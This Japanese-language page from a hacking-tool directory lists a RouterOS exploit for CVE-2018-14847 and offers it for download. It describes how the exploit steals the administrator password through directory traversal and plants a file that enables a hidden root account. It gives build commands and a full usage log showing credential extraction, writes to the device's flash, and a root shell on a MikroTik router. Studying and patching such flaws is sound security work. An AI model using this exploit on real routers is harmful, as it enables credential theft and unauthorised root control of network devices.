Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
routeros-CVE-2018-14847-bytheway — By the Way は、RouterOS のバージョン: を実行している Mikrotik デバイス上でルートシェルを有効にするエクスプロイトです。 | Kitploit
ツール/GitHubGitHub/babyshen/routeros-cve-2018-14847-bytheway
組み込みシステムセキュリティIoTセキュリティパスワード攻撃脆弱性分析エクスプロイトペネトレーションテスト
GitHubbabyshen/routeros-cve-2018-14847-bytheway

routeros-CVE-2018-14847-bytheway

By the Way は、RouterOS のバージョン: を実行している Mikrotik デバイス上でルートシェルを有効にするエクスプロイトです。

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
リポジトリを見る
4263年前未レビュー

By the Way

By the Way は、以下の RouterOS バージョンを搭載した Mikrotik デバイス上でルートシェルを有効にするエクスプロイトです:

  • Longterm: 6.30.1 - 6.40.7
  • Stable: 6.29 - 6.42.0
  • Beta: 6.29rc1 - 6.43rc3

このエクスプロイトは、ディレクトリトラバーサル脆弱性 CVE-2018-14847 を利用して管理者パスワードを抽出し、開発者用バックドアを有効にする "オプション" パッケージを作成します。攻撃後、攻撃者は管理者のパスワードを使用してルートユーザー "devel" で Telnet または SSH に接続できます。

Mikrotik は CVE-2018-14847 を4月に修正しました。しかし、この PoC が書かれるまで、攻撃がファイル書き込みに利用できることは公開されていなかったと思います。Mikrotik のアドバイザリはこちらにあります:

  • https://blog.mikrotik.com/security/winbox-vulnerability.html

なお、このエクスプロイトは Winbox 用に書かれていますが、管理者の認証情報を事前に知っていれば HTTP に移植可能です。

依存関係

この PoC は以下に依存します:

  • Boost 1.66
  • pthread
  • cmake

ビルド手順

root@kitploit:~
mkdir build
cd build
cmake ..
make

使用例

root@kitploit:~
albinolobster@ubuntu:~/mikrotik/poc/bytheway/build$ telnet -l devel 192.168.1.251
Trying 192.168.1.251...
Connected to 192.168.1.251.
Escape character is '^]'.
Password: 
Login failed, incorrect username or password

Connection closed by foreign host.
albinolobster@ubuntu:~/mikrotik/poc/bytheway/build$ ./btw -i 192.168.1.251

   ╔╗ ┬ ┬  ┌┬┐┬ ┬┌─┐  ╦ ╦┌─┐┬ ┬
   ╠╩╗└┬┘   │ ├─┤├┤   ║║║├─┤└┬┘
   ╚═╝ ┴    ┴ ┴ ┴└─┘  ╚╩╝┴ ┴ ┴ 

[+] Extracting passwords from 192.168.1.251:8291
[+] Searching for administrator credentials 
[+] Using credentials - admin:lol
[+] Creating /pckg/option on 192.168.1.251:8291
[+] Creating /flash/nova/etc/devel-login on 192.168.1.251:8291
[+] There's a light on
albinolobster@ubuntu:~/mikrotik/poc/bytheway/build$ telnet -l devel 192.168.1.251
Trying 192.168.1.251...
Connected to 192.168.1.251.
Escape character is '^]'.
Password: 


BusyBox v1.00 (2017.03.02-08:29+0000) Built-in shell (ash)
Enter 'help' for a list of built-in commands.

# uname -a
Linux MikroTik 3.3.5 #1 Thu Mar 2 08:16:25 UTC 2017 mips unknown
# cat /rw/logs/VERSION
v6.38.4 Mar/08/2017 09:26:17
# Connection closed by foreign host.
ツールをダウンロード